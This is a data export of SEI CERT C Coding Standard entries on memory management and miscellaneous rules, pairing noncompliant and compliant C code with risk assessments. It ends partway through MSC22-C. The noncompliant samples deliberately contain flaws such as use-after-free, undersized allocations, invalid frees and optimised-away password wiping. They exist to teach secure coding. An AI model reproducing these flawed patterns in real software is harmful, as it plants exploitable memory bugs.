language
large_string
page_id
int64
page_url
large_string
chapter
int64
section
int64
rule_id
large_string
title
large_string
intro
large_string
noncompliant_code
large_string
compliant_solution
large_string
risk_assessment
large_string
breadcrumb
large_string
c
87,152,220
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152220
3
8
MEM11-C
Do not assume infinite heap space
Memory is a limited resource and can be exhausted. Available memory is typically bounded by the sum of the amount of physical memory and the swap space allocated to the operating system by the administrator. For example, a system with 1GB of physical memory configured with 2GB of swap space may be able to allocate, at ...
#include <stdio.h> #include <string.h> #include <stdlib.h> enum {MAX_LENGTH=100}; typedef struct namelist_s { char name[MAX_LENGTH]; struct namelist_s* next; } *namelist_t; int main() { namelist_t names = NULL; char new_name[MAX_LENGTH]; do { /* * Adding unknown number of records to a list; ...
## Compliant Solution If the objects or data structures are large enough to potentially cause heap exhaustion, the programmer should consider using databases instead to ensure that records are written to the disk and that the data structure does not outgrow the heap. In the previous noncompliant code example, the user ...
## Risk Assessment It is difficult to pinpoint violations of this recommendation because static analysis tools are currently unable to identify code that can lead to heap exhaustion. The heap size also varies for different runtime environments. Rule Severity Likelihood Detectable Repairable Priority Level MEM11-C Low P...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 08. Memory Management (MEM)
c
87,152,289
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152289
3
8
MEM12-C
Consider using a goto chain when leaving a function on error when using and releasing resources
Many functions require the allocation of multiple resources. Failing and returning somewhere in the middle of this function without freeing all of the allocated resources could produce a memory leak. It is a common error to forget to free one (or all) of the resources in this manner, so a goto chain is the simplest and...
typedef struct object { /* Generic struct: contents don't matter */ int propertyA, propertyB, propertyC; } object_t; errno_t do_something(void){ FILE *fin1, *fin2; object_t *obj; errno_t ret_val; fin1 = fopen("some_file", "r"); if (fin1 == NULL) { return errno; } fin2 = fopen("some_other_file"...
/* ... Assume the same struct used previously ... */ errno_t do_something(void) { FILE *fin1, *fin2; object_t *obj; errno_t ret_val = NOERR; /* Initially assume a successful return value */ if ((fin1 = fopen("some_file", "r")) != NULL) { if ((fin2 = fopen("some_other_file", "r")) != NULL) { if ((obj...
## Risk Assessment Failure to free allocated memory or close opened files results in a memory leak and possibly unexpected results. Recommendation Severity Likelihood Detectable Repairable Priority Level MEM12-C Low Probable No No P2 L3 Automated Detection Tool Version Checker Description MLK.MIGHT MLK.MUST MLK.RET.MIG...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 08. Memory Management (MEM)
c
87,152,153
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152153
2
8
MEM30-C
Do not access freed memory
Evaluating a pointer—including dereferencing the pointer, using it as an operand of an arithmetic operation, type casting it, and using it as the right-hand side of an assignment—into memory that has been deallocated by a memory management function is undefined behavior 183 . Pointers to memory that has been deallocate...
#include <stdlib.h>   struct node { int value; struct node *next; };   void free_list(struct node *head) { for (struct node *p = head; p != NULL; p = p->next) { free(p); } } #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *return_val = 0; const size_t bufsize = strlen(a...
#include <stdlib.h>   struct node { int value; struct node *next; };   void free_list(struct node *head) { struct node *q; for (struct node *p = head; p != NULL; p = q) { q = p->next; free(p); } } #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *return_val = 0; co...
## Risk Assessment Reading memory that has already been freed can lead to abnormal program termination and denial-of-service attacks. Writing memory that has already been freed can additionally lead to the execution of arbitrary code with the permissions of the vulnerable process. Freeing memory multiple times has simi...
SEI CERT C Coding Standard > 2 Rules > Rule 08. Memory Management (MEM)
c
87,152,152
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152152
2
8
MEM31-C
Free dynamically allocated memory when no longer needed
Before the lifetime of the last pointer that stores the return value of a call to a standard memory allocation function has ended, it must be matched by a call to free() with that pointer value.
#include <stdlib.h>   enum { BUFFER_SIZE = 32 }; int f(void) { char *text_buffer = (char *)malloc(BUFFER_SIZE); if (text_buffer == NULL) { return -1; } return 0; } ## Noncompliant Code Example In this noncompliant example, the object allocated by the call to malloc() is not freed before the end of the li...
#include <stdlib.h> enum { BUFFER_SIZE = 32 }; int f(void) { char *text_buffer = (char *)malloc(BUFFER_SIZE); if (text_buffer == NULL) { return -1; }   free(text_buffer); return 0; } ## Compliant Solution ## In this compliant solution, the pointer is deallocated with a call tofree(): #ccccff c #includ...
## Risk Assessment Failing to free memory can result in the exhaustion of system memory resources, which can lead to a denial-of-service attack . Rule Severity Likelihood Detectable Repairable Priority Level MEM31-C Medium Probable No No P4 L3 Automated Detection Tool Version Checker Description csa-memory-leak (C++) S...
SEI CERT C Coding Standard > 2 Rules > Rule 08. Memory Management (MEM)
c
87,152,183
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152183
2
8
MEM33-C
Allocate and copy structures containing a flexible array member dynamically
The C Standard, 6.7.3.2, paragraph 20 [ ISO/IEC 9899:2024 ], says As a special case, the last element of a structure with more than one named member may have an incomplete array type; this is called a flexible array member . In most situations, the flexible array member is ignored. In particular, the size of the structu...
#include <stddef.h>   struct flex_array_struct { size_t num; int data[]; };   void func(void) { struct flex_array_struct flex_struct; size_t array_size = 4; /* Initialize structure */ flex_struct.num = array_size; for (size_t i = 0; i < array_size; ++i) { flex_struct.data[i] = 0; } } #include <st...
#include <stdlib.h>   struct flex_array_struct { size_t num; int data[]; };   void func(void) { struct flex_array_struct *flex_struct; size_t array_size = 4; /* Dynamically allocate memory for the struct */ flex_struct = (struct flex_array_struct *)malloc( sizeof(struct flex_array_struct)  + sizeof(...
## Risk Assessment Failure to use structures with flexible array members correctly can result in undefined behavior 59 . Rule Severity Likelihood Detectable Repairable Priority Level MEM33-C Low Unlikely Yes No P2 L3 Automated Detection Tool Version Checker Description flexible-array-member-assignment flexible-array-me...
SEI CERT C Coding Standard > 2 Rules > Rule 08. Memory Management (MEM)
c
87,152,156
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152156
2
8
MEM34-C
Only free memory allocated dynamically
The C Standard, Annex J (184) [ ISO/IEC 9899:2024 ], states that the behavior of a program is undefined when The pointer argument to the free or realloc function does not match a pointer earlier returned by a memory management function, or the space has been deallocated by a call to free or realloc . See also undefined...
#include <stdlib.h> #include <string.h> #include <stdio.h>   enum { MAX_ALLOCATION = 1000 }; int main(int argc, const char *argv[]) { char *c_str = NULL; size_t len; if (argc == 2) { len = strlen(argv[1]) + 1; if (len > MAX_ALLOCATION) { /* Handle error */ } c_str = (char *)malloc(len); ...
#include <stdlib.h> #include <string.h> #include <stdio.h>   enum { MAX_ALLOCATION = 1000 }; int main(int argc, const char *argv[]) { char *c_str = NULL; size_t len; if (argc == 2) { len = strlen(argv[1]) + 1; if (len > MAX_ALLOCATION) { /* Handle error */ } c_str = (char *)malloc(len); ...
## Risk Assessment The consequences of this error depend on the implementation , but they range from nothing to arbitrary code execution if that memory is reused by malloc() . Rule Severity Likelihood Detectable Repairable Priority Level MEM34-C High Likely No No P9 L2 Automated Detection Tool Version Checker Descripti...
SEI CERT C Coding Standard > 2 Rules > Rule 08. Memory Management (MEM)
c
87,152,128
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152128
2
8
MEM35-C
Allocate sufficient memory for an object
The types of integer expressions used as size arguments to malloc() , calloc() , realloc() , or aligned_alloc() must have sufficient range to represent the size of the objects to be stored. If size arguments are incorrect or can be manipulated by an attacker, then a buffer overflow may occur. Incorrect size arguments, ...
#include <stdlib.h> #include <time.h>   struct tm *make_tm(int year, int mon, int day, int hour, int min, int sec) { struct tm *tmb; tmb = (struct tm *)malloc(sizeof(tmb)); if (tmb == NULL) { return NULL; } *tmb = (struct tm) { .tm_sec = sec, .tm_min = min, .tm_hour = hour, .tm_...
#include <stdlib.h> #include <time.h>   struct tm *make_tm(int year, int mon, int day, int hour,                    int min, int sec) {   struct tm *tmb;   tmb = (struct tm *)malloc(sizeof(*tmb));   if (tmb == NULL) {     return NULL;   } *tmb = (struct tm) { .tm_sec = sec, .tm_min = min, .tm_hour = hour, .tm...
## Risk Assessment Providing invalid size arguments to memory allocation functions can lead to buffer overflows and the execution of arbitrary code with the permissions of the vulnerable process. Rule Severity Likelihood Detectable Repairable Priority Level MEM35-C High Probable No No P6 L2 Automated Detection Tool Ver...
SEI CERT C Coding Standard > 2 Rules > Rule 08. Memory Management (MEM)
c
87,152,255
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152255
2
8
MEM36-C
Do not modify the alignment of objects by calling realloc()
Do not invoke realloc() to modify the size of allocated objects that have stricter alignment requirements than those guaranteed by malloc() . Storage allocated by a call to the standard aligned_alloc() function, for example, can have stricter than normal alignment requirements. The C standard requires only that a point...
#include <stdlib.h>   void func(void) { size_t resize = 1024; size_t alignment = 1 << 12; int *ptr; int *ptr1; if (NULL == (ptr = (int *)aligned_alloc(alignment, sizeof(int)))) { /* Handle error */ } if (NULL == (ptr1 = (int *)realloc(ptr, resize))) { /* Handle error */ } } #include <stdlib...
#include <stdlib.h> #include <string.h>   void func(void) { size_t resize = 1024; size_t alignment = 1 << 12; int *ptr; int *ptr1; if (NULL == (ptr = (int *)aligned_alloc(alignment, sizeof(int)))) { /* Handle error */ } if (NULL == (ptr1 = (int *)aligned_all...
## Risk Assessment Improper alignment can lead to arbitrary memory locations being accessed and written to. Recommendation Severity Likelihood Detectable Repairable Priority Level MEM36-C Low Probable No No P2 L3 Automated Detection Tool Version Checker Description Supported, but no explicit checker CertC-MEM36 Fully i...
SEI CERT C Coding Standard > 2 Rules > Rule 08. Memory Management (MEM)
c
87,152,104
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152104
3
48
MSC00-C
Compile cleanly at high warning levels
Compile code using the highest warning level available for your compiler and eliminate warnings by modifying the code. According to the C Standard, subclause 5.1.1.3 [ ISO/IEC 9899:2011 ], A conforming implementation shall produce at least one diagnostic message (identified in an implementation-defined manner) if a pre...
#pragma warning(disable:4705) #pragma warning(disable:4706) #pragma warning(disable:4707) /* Unnecessarily flagged code */ #pragma warning(default:4705) #pragma warning(default:4706) #pragma warning(default:4707) ## Noncompliant Code Example (Windows) Using the default warning specifier with #pragma warning rese...
#pragma warning(push) #pragma warning(disable:4705) #pragma warning(disable:4706) #pragma warning(disable:4707) /* Unnecessarily flagged code */ #pragma warning(pop) ## Compliant Solution (Windows) Instead of using the default warning specifier, the current state of the warnings should be saved and then restored ...
## Risk Assessment Eliminating violations of syntax rules and other constraints can eliminate serious software vulnerabilities that can lead to the execution of arbitrary code with the permissions of the vulnerable process. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC00-C Medium Probable ...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,198
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152198
3
48
MSC01-C
Strive for logical completeness
Software vulnerabilities can result when a programmer fails to consider all possible data states.
if (a == b) { /* ... */ } else if (a == c) { /* ... */ } typedef enum { Red, Green, Blue } Color; const char* f(Color c) { switch (c) { case Red: return "Red"; case Green: return "Green"; case Blue: return "Blue"; } } void g() { Color unknown = (Color)123; puts(f(unknown)); } #define ORIGINYE...
if (a == b) { /* ... */ } else if (a == c) { /* ... */ } else { /* Handle error condition */ } typedef enum { Red, Green, Blue } Color; const char* f(Color c) { switch (c) { case Red: return "Red"; case Green: return "Green"; case Blue: return "Blue"; default: return "Unknown color"; /* Neces...
## Risk Assessment Failing to account for all possibilities within a logic statement can lead to a corrupted running state, potentially resulting in unintentional information disclosure or abnormal termination . Recommendation Severity Likelihood Detectable Repairable Priority Level MSC01-C Medium Probable No No P4 L3 ...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,275
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152275
3
48
MSC04-C
Use comments consistently and in a readable fashion
null
/* Comment with end comment marker unintentionally omitted security_critical_function(); /* Some other comment */ // */ /* Comment, not syntax error */ f = g/**//h; /* Equivalent to f = g / h; */ //\ i(); /* Part of a two-line comment */ /\ / j(); /* Part of a two-line comment */ /*//...
#if 0 /* * Use of critical security function no * longer necessary. */ security_critical_function(); /* Some other comment */ #endif if (0) { /* * Use of critical security function no * longer necessary, for now. */ /*NOTREACHED*/ security_critical_functio...
## Risk Assessment Confusion over which instructions are executed and which are not can lead to serious programming errors and vulnerabilities, including denial of service , abnormal program termination , and data integrity violation. This problem is mitigated by the use of interactive development environments (IDEs) a...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,083
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152083
3
48
MSC05-C
Do not manipulate time_t typed values directly
The type time_t is specified as an "arithmetic type capable of representing times." However, the way time is encoded within this arithmetic type by the function time() is unspecified . See unspecified behavior 48 in Annex J of the C Standard. Because the encoding is unspecified, there is no safe way to manually perform...
int do_work(int seconds_to_work) { time_t start = time(NULL); if (start == (time_t)(-1)) { /* Handle error */ } while (time(NULL) < start + seconds_to_work) { /* ... */ } return 0; } ## Noncompliant Code Example This noncompliant code example attempts to execute do_work() multiple times until at l...
int do_work(int seconds_to_work) { time_t start = time(NULL); time_t current = start; if (start == (time_t)(-1)) { /* Handle error */ } while (difftime(current, start) < seconds_to_work) { current = time(NULL); if (current == (time_t)(-1)) { /* Handle error */ } /* ... */ } ret...
## Risk Assessment Using time_t incorrectly can lead to broken logic that can place a program in an infinite loop or cause an expected logic branch to not execute. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC05-C Low Unlikely Yes No P2 L3 Automated Detection Tool Version Checker Descripti...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,190
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152190
3
48
MSC06-C
Beware of compiler optimizations
Subclause 5.1.2.3 of the C Standard [ ISO/IEC 9899:2011 ] states: In the abstract machine, all expressions are evaluated as specified by the semantics. An actual implementation need not evaluate part of an expression if it can deduce that its value is not used and that no needed side effects are produced (including any...
void getPassword(void) { char pwd[64]; if (GetPassword(pwd, sizeof(pwd))) { /* Checking of password, secure operations, etc. */ } memset(pwd, 0, sizeof(pwd)); } void getPassword(void) { char pwd[64]; if (retrievePassword(pwd, sizeof(pwd))) { /* Checking of password, secure operations, etc. */ } ...
void getPassword(void) { char pwd[64]; if (retrievePassword(pwd, sizeof(pwd))) { /* Checking of password, secure operations, etc. */ } SecureZeroMemory(pwd, sizeof(pwd)); } void getPassword(void) { char pwd[64]; if (retrievePassword(pwd, sizeof(pwd))) { /* Checking of password, secure operations, e...
## Risk Assessment If the compiler optimizes out memory-clearing code, an attacker can gain access to sensitive data. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC06-C Medium Probable Yes Yes P12 L1 Related Vulnerabilities Search for vulnerabilities resulting from the violation of this rul...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,362
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152362
3
48
MSC07-C
Detect and remove dead code
Deprecated This rule has been deprecated.  It has been merged with: MSC12-C. Detect and remove code that has no effect or is never executed 10/07/2014 -- Version 2.0 Code that is never executed is known as dead code . Typically, the presence of dead code indicates that a logic error has occurred as a result of changes ...
int func(int condition) { char *s = NULL; if (condition) { s = (char *)malloc(10); if (s == NULL) { /* Handle Error */ } /* Process s */ return 0; } /* ... */ if (s) { /* This code is never reached */ } return 0; } int s_loop(char *...
int func(int condition) { char *s = NULL; if (condition) { s = (char *)malloc(10); if (s == NULL) { /* Handle error */ } /* Process s */ } /* ... */ if (s) { /* This code is now reachable */ } return 0; } int s_loop(char *s) { size_t i;...
## Risk Assessment The presence of dead code may indicate logic errors that can lead to unintended program behavior. The ways in which dead code can be introduced into a program and the effort required to remove it can be complex. As a result, resolving dead code can be an in-depth process requiring significant analysi...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,154
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152154
3
48
MSC09-C
Character encoding: Use subset of ASCII for safety
According to subclause 5.2.1 of the C Standard [ ISO/IEC 9899:2011 ], Two sets of characters and their associated collating sequences shall be defined: the set in which source files are written (the source character set ), and the set interpreted in the execution environment (the execution character set ). Each set is ...
#include <fcntl.h> #include <sys/stat.h> int main(void) { char *file_name = "\xe5ngstr\xf6m"; mode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH; int fd = open(file_name, O_CREAT | O_EXCL | O_WRONLY, mode); if (fd == -1) { /* Handle error */ } } ?ngstr?m char myFilename[1000]; const char elimN...
#include <fcntl.h> #include <sys/stat.h> int main(void) { char *file_name = "name.ext"; mode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH; int fd = open(file_name, O_CREAT | O_EXCL | O_WRONLY, mode); if (fd == -1) { /* Handle error */ } } char myFilename[1000]; const char elimNewln[] = "\n"; c...
## Risk Assessment Failing to use only the subset of ASCII that is guaranteed to work can result in misinterpreted data. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC09-C Medium Unlikely Yes No P4 L3 Automated Detection Tool Version Checker Description bitfield-name character-constant enum...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,141
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152141
3
48
MSC10-C
Character encoding: UTF8-related issues
UTF-8 is a variable-width encoding for Unicode. UTF-8 uses 1 to 4 bytes per character, depending on the Unicode symbol. UTF-8 has the following properties: The classical US-ASCII characters (0 to 0x7f) encode as themselves, so files and strings that are encoded with ASCII values have the same encoding under both ASCII ...
null
null
## Risk Assessment Failing to properly handle UTF8-encoded data can result in a data integrity violation or denial-of-service attack . Recommendation Severity Likelihood Detectable Repairable Priority Level MSC10-C Medium Unlikely No No P2 L3 Automated Detection Tool Version Checker Description LDRA tool suite 176 S , ...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,346
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152346
3
48
MSC11-C
Incorporate diagnostic tests using assertions
Incorporate diagnostic tests into your program using, for example, the assert() macro. The assert macro expands to a void expression: #include <assert.h> void assert(scalar expression); When it is executed, if expression (which must have a scalar type) is false, the assert macro outputs information about the failed ass...
char *dupstring(const char *c_str) { size_t len; char *dup; len = strlen(c_str); dup = (char *)malloc(len + 1); assert(NULL != dup); memcpy(dup, c_str, len + 1); return dup; } ## Noncompliant Code Example (malloc()) This noncompliant code example uses the assert() macro to verify that memory allocation...
char *dupstring(const char *c_str) { size_t len; char *dup; len = strlen(c_str); dup = (char*)malloc(len + 1); /* Detect and handle memory allocation error */ if (NULL == dup) { return NULL; } memcpy(dup, c_str, len + 1); return dup; } ## Compliant Solution (malloc()) ## This compliant solut...
## Risk Assessment Assertions are a valuable diagnostic tool for finding and eliminating software defects that may result in vulnerabilities . The absence of assertions, however, does not mean that code is incorrect. Rule Severity Likelihood Detectable Repairable Priority Level MSC11-C Low Unlikely No No P1 L3 Automate...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,101
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152101
3
48
MSC12-C
Detect and remove code that has no effect or is never executed
Code that has no effect or is never executed (that is, dead or unreachable code) is typically the result of a coding error and can cause unexpected behavior . Such code is usually optimized out of a program during compilation. However, to improve readability and ensure that logic errors are resolved, it should be ident...
int func(int condition) { char *s = NULL; if (condition) { s = (char *)malloc(10); if (s == NULL) { /* Handle Error */ } /* Process s */ return 0; } /* Code that doesn't touch s */ if (s) { /* This code is unreachable */ } return 0; ...
int func(int condition) { char *s = NULL; if (condition) { s = (char *)malloc(10); if (s == NULL) { /* Handle error */ } /* Process s */ } /* Code that doesn't touch s */ if (s) { /* This code is now reachable */ } return 0; } int s_loop(ch...
null
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,095
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152095
3
48
MSC13-C
Detect and remove unused values
The presence of unused values may indicate significant logic errors. To prevent such errors, unused values should be identified and removed from code. This recommendation is a specific case of .
int *p1; int *p2; p1 = foo(); p2 = bar(); if (baz()) { return p1; } else { p2 = p1; } return p2; ## Noncompliant Code Example In this example, p2 is assigned the value returned by bar() , but that value is never used. Note this example assumes that foo() and bar() return valid pointers (see ). #FFCCCC c int *p1; ...
int *p1 = foo(); /* Removable if bar() does not produce any side effects */ (void)bar(); /* Removable if baz() does not produce any side effects */ (void)baz(); return p1; ## Compliant Solution This example can be corrected in many different ways, depending on the intent of the programmer. In this compliant solution...
## Risk Assessment Unused values may indicate significant logic errors. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC13-C Low Unlikely Yes Yes P3 L3 Automated Detection Tool Version Checker Description dead-assignment dead-initializer unused-local-variable unused-parameter Partially checke...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,340
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152340
3
48
MSC14-C
Do not introduce unnecessary platform dependencies
Platform dependencies may be introduced to improve performance on a particular platform. This can be a dangerous practice, particularly if these dependencies are not appropriately documented during development and addressed during porting. Platform dependencies that have no performance or other benefits should conseque...
signed int si; signed int si2; signed int sum; if (si < 0 || si2 < 0) { /* Handle error condition */ } if (~si < si2) { /* Handle error condition */ } sum = si + si2; void f() { char buf[BUFSIZ]; fprintf(stderr, "Error: %s\n", strerror_r(errno, buf, sizeof buf)); } ## Noncompliant Code Example This...
unsigned int si; unsigned int si2; unsigned int sum; if (si < 0 || si2 < 0) { /* Handle error condition */ } if (INT_MAX - si < si2) { /* Handle error condition */ } sum = si + si2; #define _XOPEN_SOURCE 600 #include <string.h> #include <stdio.h> #include <errno.h> void f() { char buf[BUFSIZ]; int result; ...
## Risk Assessment Unnecessary platform dependencies are, by definition, unnecessary. Avoiding these dependencies can eliminate porting errors resulting from invalidated assumptions. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC14-C Low Unlikely No No P1 L3 Automated Detection Tool Version...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,050
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152050
3
48
MSC15-C
Do not depend on undefined behavior
The C Standard, subclause 3.5.3 [ ISO/IEC 9899:2024 ], defines undefined behavior as behavior, upon use of a nonportable or erroneous program construct or of erroneous data, for which this document imposes no requirements Subclause 4 explains how the standard identifies undefined behavior (see also undefined behavior 1...
#include <assert.h> #include <limits.h> #include <stdio.h>   int foo(int a) { assert(a + 100 > a); printf("%d %d\n", a + 100, a); return a; } int main(void) { foo(100); foo(INT_MAX); return 0; } ## Noncompliant Code Example An example of undefined behavior in C is the behavior on signed integer overflow (...
#include <assert.h> #include <limits.h> #include <stdio.h> int foo(int a) { assert(a < (INT_MAX - 100)); printf("%d %d\n", a + 100, a); return a; } int main(void) { foo(100); foo(INT_MAX); return 0; } ## Compliant Solution ## This compliant solution does not depend on undefined behavior: #ccccff c #inclu...
## Risk Assessment Although it is rare that the entire application can be strictly conforming , the goal should be that almost all the code is allowed for a strictly conforming program (which among other things means that it avoids undefined behavior ), with the implementation-dependent parts confined to modules that t...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,277
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152277
3
48
MSC17-C
Finish every set of statements associated with a case label with a break statement
A switch statement consists of several case labels, plus a default label. The default label is optional but recommended. (See .) A series of statements following a case label conventionally ends with a break statement; if omitted, control flow falls through to the next case in the switch statement block. Because the br...
enum WidgetEnum { WE_W, WE_X, WE_Y, WE_Z } widget_type; widget_type = WE_X; switch (widget_type) { case WE_W: /* ... */ case WE_X: /* ... */ break; case WE_Y: case WE_Z: /* ... */ break; default: /* Can't happen */ /* Handle error condition */ } ## Noncompliant Code Example In this no...
enum WidgetEnum { WE_W, WE_X, WE_Y, WE_Z } widget_type; widget_type = WE_X; switch (widget_type) { case WE_W: /* ... */ break; case WE_X: /* ... */ break; case WE_Y: case WE_Z: /* ... */ break; default: /* Can't happen */ /* Handle error condition */ } ## Compliant Solution ## In ...
## Risk Assessment Failure to include break statements leads to unexpected control flow. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC17-C Medium Likely Yes Yes P18 L1 Automated Detection Tool Version Checker Description switch-clause-break switch-clause-break-continue switch-clause-break-...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,306
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152306
3
48
MSC18-C
Be careful while handling sensitive data, such as passwords, in program code
Many applications need to handle sensitive data either in memory or on disk. If this sensitive data is not protected properly, it might lead to loss of secrecy or integrity of the data. It is very difficult (or expensive) to completely secure all the sensitive data. Users tend to use the same passwords everywhere. So e...
null
null
## Risk Assessment If sensitive data is not handled correctly in a program, an attacker can gain access to it. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC18-C Medium Probable No No P4 L3 Related Vulnerabilities Search for vulnerabilities resulting from the violation of this rule on the C...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,232
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152232
3
48
MSC19-C
For functions that return an array, prefer returning an empty array over a null value
Many functions have the option of returning a pointer to an object or returning NULL if a valid pointer cannot be produced. Some functions return arrays, which appear like a pointer to an object. However, if a function has the option of returning an array or indicating that a valid array is not possible, it should not ...
#include <stdio.h> enum { INV_SIZE=20 }; typedef struct { size_t stockOfItem[INV_SIZE]; size_t length; } Inventory; size_t *getStock(Inventory iv); int main(void) { Inventory iv; size_t *item; iv.length = 0; /* * Other code that might modify the inventory but still * leave no items in it upon com...
#include <stdio.h> enum { INV_SIZE=20 }; typedef struct { size_t stockOfItem[INV_SIZE]; size_t length; } Inventory; size_t *getStock(Inventory* iv); int main(void) { Inventory iv; size_t *item; iv.length = 0; /* * Other code that might modify the inventory but still * leave no items in it upon c...
## Risk Assessment Returning NULL rather than a zero-length array can lead to vulnerabilities when the client code does not handle NULL properly. Abnormal program termination can result when the calling function performs operations on NULL . Rule Severity Likelihood Detectable Repairable Priority Level MSC19-C Low Unli...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,333
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152333
3
48
MSC20-C
Do not use a switch statement to transfer control into a complex block
A switch statement can be mixed with a block of code by starting the block in one case label, then having another case label within the block. The block can be pictured as spanning more than one case statement. Subclause 6.8.4.2, paragraph 2, of the C Standard [ ISO/IEC 9899:2011 ] says, If a switch statement has an as...
int f(int i) { int j=0; switch (i) { case 1: for(j=0;j<10;j++) { /* No break; process case 2 as well */ case 2: /* switch jumps inside the for block */ j++; /* No break; process case 3 as well */ case 3: j++; } break; default: /* Default action */ ...
int f(int i) { int j=0; switch (i) { case 1: /* No break; process case 2 as well */ case 2: j++; /* No break; process case 3 as well */ case 3: j++; break; default: /* Default action */ return j; } for(j++;j<10;j++) { j+=2; } return j; } int n =...
## Risk Assessment Recommendation Severity Likelihood Detectable Repairable Priority Level MSC20-C Medium Probable Yes No P8 L2 Automated Detection Tool Version Checker Description switch-label Fully checked LANG.STRUCT.SW.MPC PARSE.BIH PARSE.BITB Misplaced case Branch into handler Branch into try block CC2.MSC20 Fully...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,327
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152327
3
48
MSC21-C
Use robust loop termination conditions
C defines < , > , <= , and >= to be relational operators , and it defines == and != to be equality operators . If a for or while statement uses a loop counter, than it is safer to use a relational operator (such as < ) to terminate the loop than to use an equality operator (such as != ). nce_inequality_multistep
size_t i; for (i = 1; i != 10; i += 2) { /* ... */ } void f(size_t begin, size_t end) { size_t i; for (i = begin; i != end; ++i) { /* ... */ } } void f(size_t begin, size_t step) { size_t i; for (i = begin; i <= SIZE_MAX; i += step) { /* ... */ } } ## Noncompliant Code Example (Equality Operato...
size_t i; for (i = 1; i <= 10; i += 2 ) { /* ... */ } void f(size_t begin, size_t end) { size_t i; for (i = begin; i < end; ++i) { /* ... */ } } void f(size_t begin, size_t step) { if (0 < step) { size_t i; for (i = begin; i <= SIZE_MAX - step; i += step) { /* ... */ } } } ## Compli...
## Risk Assessment Testing for exact values runs the risk of a loop terminating much longer than expected or never terminating at all. Recommendation Severity Likelihood Detectable Repairable Priority Level MSC21-C Low Unlikely No No P1 L3 Automated Detection Tool Version Checker Description Supported: Astrée reports p...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 48. Miscellaneous (MSC)
c
87,152,274
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152274
3
48
MSC22-C
Use the setjmp(), longjmp() facility securely
The setjmp() macro should be invoked from only one of the contexts listed in subclause 7.13.2.1 of the C Standard [ ISO/IEC 9899:2024 ]. Invoking setjmp() outside of one of these contexts results in undefined behavior . (See undefined behavior 125 .) After invoking longjmp() , non-volatile-qualified local objects shoul...
jmp_buf buf; void f(void) { int i = setjmp(buf); if (i == 0) { g(); } else { /* longjmp was invoked */ } } void g(void) { /* ... */ longjmp(buf, 1); } #include <setjmp.h> #include <stdio.h> #include <stdlib.h> static jmp_buf buf; static void bad(void); static void g(void) { if (setjmp(buf) ==...
